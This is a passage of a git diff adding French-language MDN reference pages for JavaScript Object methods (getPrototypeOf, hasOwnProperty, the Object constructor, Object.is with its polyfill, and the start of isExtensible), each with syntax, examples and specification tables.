+<p>De la même façon que {{jsxref("Object.getOwnPropertyNames()")}}, il est possible d'avoir la liste des symboles des propriétés d'un objet donné sous forme d'un tableau. La méthode {{jsxref("Object.getOwnPropertyNames()")}} ne contiendra uniquement que les propriétés « nommées » d'un objet et non pas les propriétés uniquement accessibles via un symbole.</p>
+
+<p>Par défaut, aucun objet ne possède de propriété accessible via un symbole à l'état initial. Ainsi, <code>Object.getOwnPropertySymbols()</code> renvoie un tableau vide sauf si des propriétés nommées avec des symboles ont été définies pour l'objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = {};
+var a = Symbol("a");
+var b = Symbol.for("b");
+
+obj[a] = "symboleLocal";
+obj[b] = "symboleGlobal";
+
+var objectSymboles = Object.getOwnPropertySymbols(obj);
+
+console.log(objectSymboles.length); // 2
+console.log(objectSymboles)         // [Symbol(a), Symbol(b)]
+console.log(objectSymboles[0])      // Symbol(a)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertySymbols")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html
new file mode 100644
index 0000000000..c001f9e8c0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html
@@ -0,0 +1,101 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/getPrototypeOf
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.getPrototypeOf()</strong></code> renvoie le prototype d'un objet donné (i.e. la valeur de la propriété <code>[[Prototype]]</code> interne).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-getprototypeof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.getPrototypeOf(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>obj</var></code></dt>
+ <dd>L'objet dont on souhaite obtenir le prototype.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le prototype de l'objet passé en argument. Si aucune propriété n'est héritée, c'est la valeur {{jsxref("null")}} qui est renvoyée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, la méthode renvoie une exception {{jsxref("TypeError")}} si le paramètre <code>obj</code> n'est pas un objet. Pour ES2015, le paramètre sera converti en un objet avant l'application de la méthode.</p>
+
+<pre class="brush: js">Object.getPrototypeOf("toto");
+// TypeError: "toto" n'est pas un objet (code ES5)
+Object.getPrototypeOf("toto");
+// String.prototype                     (code ES2015)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.getPrototypeOf")}}</p>
+</div>
+
+<h2 id="Notes_relatives_à_Opera">Notes relatives à Opera</h2>
+
+<p>Bien que les anciennes versions d'Opera ne supportent pas <code>Object.getPrototypeOf()</code>, Opera supporte la propriété non-standard {{jsxref("Object.proto", "__proto__")}} depuis Opera 10.50.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}</li>
+ <li>Le billet de John Resig sur <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> (en anglais)</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html
new file mode 100644
index 0000000000..4a5a5434ce
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html
@@ -0,0 +1,158 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>hasOwnProperty()</strong></code> retourne un booléen indiquant si l'objet possède la propriété spécifiée "en propre", sans que celle-ci provienne de la chaîne de prototypes de l'objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.hasOwnProperty(<var>prop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom ({{jsxref("String")}}) ou le symbole ({{jsxref("Symbol")}}) de la propriété à tester.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si l'objet possède ou non la propriété indiquée en argument et que celle-ci est directement rattachée à l'objet (elle ne provient pas de la chaîne de prototypes de l'objet). <code>hasOwnProperty()</code> renvoie <code>true</code> si la propriété existe et que sa valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Chaque objet descendant d'{{jsxref("Object")}} hérite de la méthode <code>hasOwnProperty()</code>. Cette méthode peut être utilisée pour déterminer si un objet a la propriété spécifiée en tant que propriété directe de cet objet. Contrairement à l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}, cette méthode ne vérifie pas la chaîne des prototypes de l'objet. Si l'objet est un tableau ({{jsxref("Array")}}), la méthode <code>hasOwnProperty()</code> pourra être utilisée afin de vérifier la présence d'un index.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_hasOwnProperty()_pour_tester_l'existence_d'une_propriété">Utiliser <code>hasOwnProperty()</code> pour tester l'existence d'une propriété</h3>
+
+<p>L'exemple suivant détermine si l'objet <code>o</code> contient une propriété appelée <code>prop</code>:</p>
+
+<pre class="brush: js">o = new Object();
+o.hasOwnProperty('prop'); // false
+o.prop = 'exists';
+o.hasOwnProperty('prop'); // true</pre>
+
+<h3 id="Propriétés_directes_et_propriétés_héritées">Propriétés directes et propriétés héritées</h3>
+
+<p>L'exemple suivant illustre la différence entre les propriétés directes et les propriétés héritées à partir de la chaîne de prototypes :</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+
+o.hasOwnProperty('prop');
+// retourne true
+
+o.hasOwnProperty('toString');
+// retourne false
+
+o.hasOwnProperty('hasOwnProperty');
+// retourne false</pre>
+
+<h3 id="Parcourir_les_propriétés_d'un_objet">Parcourir les propriétés d'un objet</h3>
+
+<p>L'exemple suivant montre comment parcourir les propriétés d'un objet sans traiter les propriétés héritées. On notera que la boucle  {{jsxref("Instructions/for...in", "for...in")}} ne prend en compte que les éléments énumérables. Il ne faut donc pas déduire de l'absence de propriétés non-énumérables dans la boucle, que <code>hasOwnProperty()</code> est elle-même strictement restreinte aux éléments énumérables (comme c'est le cas pour {{jsxref("Object.getOwnPropertyNames()")}}) .</p>
+
+<pre class="brush: js">var bidule = {
+    truc: 'stack'
+};
+
+for (var nom in bidule) {
+    if (bidule.hasOwnProperty(nom)) {
+        console.log("C'est bien la propriété (" +
+                     nom +
+                     "), sa valeur : " + bidule[nom]
+                    );
+    }
+    else {
+        console.log(nom);
+        // toString ou autre
+    }
+}</pre>
+
+<h3 id="hasOwnProperty()_en_tant_que_propriété"><code>hasOwnProperty()</code> en tant que propriété</h3>
+
+<p>JavaScript ne protège pas le nom de propriété <code>hasOwnProperty</code>, ainsi il est possible qu'un objet puisse avoir une propriété avec ce nom, il sera donc nécessaire d'utiliser une version externe de la méthode pour obtenir des résultats corrects.</p>
+
+<pre class="brush: js">var toto = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  truc: 'Voici les dragons'
+};
+
+toto.hasOwnProperty('truc'); // renvoie toujours false
+
+// On utilise une méthode d'un autre objet
+// et on l'appelle avec this qui vaut toto
+({}).hasOwnProperty.call(toto, 'truc'); // true
+
+// On peut aussi utiliser la propriété hasOwnProperty de Object prototype
+Object.prototype.hasOwnProperty.call(toto, 'truc'); // true
+</pre>
+
+<p>La dernière version utilisée permet de ne pas créer d'objet supplémentaire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Caractère énumérable et rattachement des propriétés</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Instructions/for...in", "for...in")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_in", "in")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Retours_sur_héritage">Guide JavaScript : Retours sur l'héritage</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/index.html b/files/fr/web/javascript/reference/objets_globaux/object/index.html
new file mode 100644
index 0000000000..bc750b5652
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/index.html
@@ -0,0 +1,184 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Objets_globaux/Object
+tags:
+  - Constructeur
+  - JavaScript
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>Object</strong></code> crée un wrapper d'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">// Initialisateur d'objet ou littéral { [ <em>paireNomValeur1</em>[, <em>paireN<var>omValeur2</var></em>[,
+ ...<em>paireNomValeurN</em>] ] ] }
+
+// Appelé comme un constructeur
+new Object([<var>valeur</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>paireNomValeur1, paireNomValeur2, ... paireNomValeur<em>N</em></code></dt>
+ <dd>Paires de noms (chaînes) et de valeurs (toutes valeurs) où le nom est séparé de la valeur par deux points (:).</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Toute valeur.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Le constructeur <code>Object</code> crée un wrapper d'objet pour la valeur donnée. Si la valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}, il créera et retournera un objet vide, sinon, il retournera un objet du Type qui correspond à la valeur donnée. Si la valeur est déjà un objet, le constructeur retournera cette valeur.</p>
+
+<p>Lorsqu'il n'est pas appelé dans un contexte constructeur, <code>Object</code> se comporte de façon identique à <code>new Object()</code>.</p>
+
+<p>Voir aussi <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet">initialisateur d'objet / syntaxe de littéral</a>.</p>
+
+<h2 id="Propriétés_du_constructeur_Object">Propriétés du constructeur <code>Object</code></h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>A une valeur de 1.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Permet l'ajout de propriétés à tous les objets de type Object.</dd>
+</dl>
+
+<h2 id="Méthodes_du_constructeur_Object">Méthodes du constructeur <code>Object</code></h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>Copie les valeurs de toutes propriétés propres énumérables depuis un ou plusieurs objets source dans un objet cible.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Crée un nouvel objet avec le prototype d'objet et les propriétés indiqués.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Ajoute à un objet la propriété nommée décrite par le descripteur donné.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Ajoute à un objet les propriétés nommées décrites par les descripteurs donnés.</dd>
+ <dt>{{jsxref("Object.entries()")}}</dt>
+ <dd>Retourne un tableau contenant les paires <code>[clé, valeur]</code> des propriétés énumérables propres (c'est-à-dire directement rattachées à l'objet) de l'objet donné et dont les clés sont des chaînes de caractères.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Gèle un objet : un autre code ne peut ni détruire ni changer aucune propriété.</dd>
+ <dt>{{jsxref("Object.fromEntries()")}}</dt>
+ <dd>Renvoie un nouvel objet à partir d'un itérable contenant des paires de clés-valeurs (l'opération duale de {{jsxref("Object.entries")}}).</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Retourne un descripteur de propriété pour une propriété nommée d'un objet.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptors()")}}</dt>
+ <dd>Retourne un objet contenant tous les descripteurs des propriétés propres d'un objet.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Retourne un tableau contenant les noms de toutes les propriétés énumérables et non énumérables <strong>propres</strong> de l'objet donné.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>Retourne un tableau de toutes les propriétés symboles trouvées directement dans un objet donné.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Retourne le prototype de l'objet indiqué.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>Détermine si deux valeurs sont la même valeur. Considère comme égales toutes les valeurs NaN (ce qui diffère à la fois de la Comparaison d'Égalité Abstraite et de la Comparaison d'Égalité Stricte).</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Détermine si l'extension d'un objet est permise.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Détermine si un objet a été gelé.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Détermine si un objet est scellé.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Retourne un tableau contenant les noms de toutes les propriétés énumérables <strong>propres</strong> de l'objet donné.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Empêche toute extension de l'objet.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Empêche un autre code de détruire les propriétés d'un objet.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>Définit le prototype d'un objet (c-à-d, la propriété interne <code>[[Prototype]]</code>).</dd>
+ <dt>{{jsxref("Object.values()")}}</dt>
+ <dd>Retourne le tableau des valeurs énumérables propres de l'objet donné dont les clés sont des chaînes de caractères.</dd>
+</dl>
+
+<h2 id="Instances_d'Object_et_objet_de_prototype_Object">Instances d'<code>Object</code> et objet de prototype <code>Object</code></h2>
+
+<p>Tous les objets en JavaScript descendent d'<code>Object</code> ; tous les objets héritent des méthodes et des propriétés de {{jsxref("Object.prototype")}}, même si elles peuvent être surchargées. Par exemple, d'autres prototypes de constructeurs surchargent la propriété du <code>constructor</code> et fournissent leurs propres méthodes <code>toString()</code>. Les changements apportés à l'objet de prototype <code>Object</code> sont propagées à tous les objets, à moins que les propriétés et méthodes auxquelles s'appliquent ces changements ne soient surchargées plus loin dans la chaîne de prototypes.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}</div>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}</div>
+
+<h2 id="Suppression_d'une_propriété_dans_un_objet">Suppression d'une propriété dans un objet</h2>
+
+<p>Il n'y a aucune méthode dans un Object lui-même pour supprimer ses propres propriétés (par exemple, comme <a href="/fr-Fr/docs/Web/JavaScript/Reference/Global_Objects/Map/delete">Map.prototype.delete()</a>). Pour ce faire, il faut utiliser l'<a href="/fr-Fr/docs/Web/JavaScript/Reference/Operators/delete">opérateur delete</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_d'Object_avec_les_types_undefined_et_null">Utilisation d'<code>Object</code> avec les types <code>undefined</code> et <code>null</code></h3>
+
+<p>Les exemples suivants stockent un <code>Object</code> vide dans <code>o</code> :</p>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Utilisation_d'Object_pour_créer_des_objets_Boolean">Utilisation d'<code>Object</code> pour créer des objets <code>Boolean</code></h3>
+
+<p>Les exemples suivants stockent des objets {{jsxref("Boolean")}} dans <code>o</code> :</p>
+
+<pre class="brush: js">// Équivalent à : o = new Boolean(true);
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js">// Équivalent à : o = new Boolean(false);
+var o = new Object(Boolean());
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout de Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Ajout de Object.entries, de Object.values et de Object.getOwnPropertyDescriptors.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">La table de compatibilité de cette page a été générée à partir de données structurées. Si vous souhaitez contribuer à ces données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Initialisateur_objet">Initialisateur d'objet</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/is/index.html b/files/fr/web/javascript/reference/objets_globaux/object/is/index.html
new file mode 100644
index 0000000000..6e909d1fdb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/is/index.html
@@ -0,0 +1,130 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/is
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.is()</strong></code> permet de déterminer si deux valeurs sont <a href="/fr/docs/Web/JavaScript/Guide/%C3%89galit%C3%A9_en_JavaScript">les mêmes</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.is(<var>value1</var>, <var>value2</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur1</code></dt>
+ <dd>La première valeur à comparer.</dd>
+ <dt><code>valeur2</code></dt>
+ <dd>La seconde valeur à comparer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen indiquant si les arguments ont la même valeur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.is()</code> permet de déterminer si deux valeurs sont <a href="/fr/docs/Web/JavaScript/Guide/%C3%89galit%C3%A9_en_JavaScript">identiques</a>. Deux valeurs sont considérées identiques si :</p>
+
+<ul>
+ <li>elles sont toutes les deux {{jsxref("undefined")}}</li>
+ <li>elles sont toutes les deux {{jsxref("null")}}</li>
+ <li>elles sont toutes les deux <code>true</code> ou toutes les deux <code>false</code></li>
+ <li>elles sont des chaînes de caractères de la même longueur et avec les mêmes caractères (dans le même ordre)</li>
+ <li>elles sont toutes les deux le même objet</li>
+ <li>elles sont des nombres et
+  <ul>
+   <li>sont toutes les deux égales à <code>+0</code></li>
+   <li>sont toutes les deux égales à <code>-0</code></li>
+   <li>sont toutes les deux égales à {{jsxref("NaN")}}</li>
+   <li>sont non-nulles, ne sont pas <code>NaN</code> et ont toutes les deux la même valeur</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Attention, ce n'est pas la même égalité qu'avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}}. L'opérateur == applique différentes conversions à chaque opérande (si ils ne sont pas du même type) avant de tester l'égalité (d'où le comportement <code>"" == false</code> qui donne <code>true</code>), <code>Object.is</code> ne convertit aucune des deux valeurs.</p>
+
+<p>Cette égalité est également différente de l'égalité stricte qu'on peut avoir avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}. L'opérateur === (et également l'opérateur ==) considère que <code>-0</code> et <code>+0</code> sont égales et que {{jsxref("Number.NaN")}} n'est pas égal à {{jsxref("NaN")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">Object.is("toto", "toto");     // true
+Object.is(window, window);     // true
+
+Object.is("toto", "truc");     // false
+Object.is([], []);             // false
+
+var toto = {a: 1};
+var truc = {a: 1};
+Object.is(toto, toto);          // true
+Object.is(toto, truc);          // false
+
+Object.is(null, null);          // true
+
+// Cas aux limites (cas spéciaux)
+Object.is(0, -0);                // false
+Object.is(-0, -0);               // true
+Object.is(NaN, 0/0);             // true</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush:js">if (!Object.is) {
+  Object.is = function(v1, v2) {
+    // Algorithme SameValue
+    if (v1 === v2) { //Étapes 1-5, 7-10
+      //Étapes 6.b-6.b +0 !=-0
+      return v1 !== 0 || 1 / v1 === 1 / v2;
+    } else {
+      //Étapes 6.a: NaN == NaN
+      return v1 !== v1 &amp;&amp; v2 !== v2;
+    }
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.is")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Égalité_en_JavaScript">Guide JavaScript : L'égalité en JavaScript</a> qui illustre les trois manières de comparer en JavaScript</li>
+ <li>{{jsxref("Opérateurs/Opérateurs_de_comparaison","Les opérateurs de comparaison","",1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html
new file mode 100644
index 0000000000..ae82dd912f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html
@@ -0,0 +1,114 @@
+---
+title: Object.isExtensible()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/isExtensible
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Object.isExtensible()</code></strong> permet de déterminer si un objet est extensible (c'est-à-dire qu'on peut lui ajouter de nouvelles propriétés).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isextensible.html")}}</div>
+
